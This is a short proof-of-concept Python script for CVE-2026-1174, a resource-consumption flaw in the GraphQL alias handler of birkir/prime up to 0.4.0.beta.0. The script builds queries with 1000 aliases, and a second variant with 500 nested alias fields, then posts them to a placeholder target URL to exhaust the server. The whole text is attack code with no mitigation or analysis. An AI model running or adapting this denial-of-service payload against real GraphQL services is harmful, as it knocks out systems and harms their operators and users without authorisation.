CVE-2026-1174 birkir prime GraphQL Alias Handler资源消耗漏洞

# CVE-2026-1174 PoC - GraphQL Resource Consumption # Target: birkir/prime <= 0.4.0.beta.0 # Attack Vector: GraphQL Alias Handler import requests import json TARGET_URL = "http://target.com/graphql" # PoC: Send a GraphQL query with excessive aliases to consume resources poc_query = """ query { """ # Generate 1000 aliases to trigger resource consumption for i in range(1000): poc_query += f" alias{i}: someComplexField(id: {i}) {{\n id\n name\n computedValue\n }}\n" poc_query += """ } """ payload = { "query": poc_query } print("Sending malicious GraphQL query...") response = requests.post(TARGET_URL, json=payload, timeout=30) print(f"Response status: {response.status_code}") print(f"Response: {response.text[:500]}") # Alternative PoC with nested aliases poc_query_2 = """ query { """ for i in range(500): poc_query_2 += f" field{i}: nestedObject {{ child {{ subChild {{ value }} }} }}\n" poc_query_2 += """ } """ print("\nSending nested alias query...") response2 = requests.post(TARGET_URL, json={"query": poc_query_2}, timeout=30) print(f"Response status: {response2.status_code}")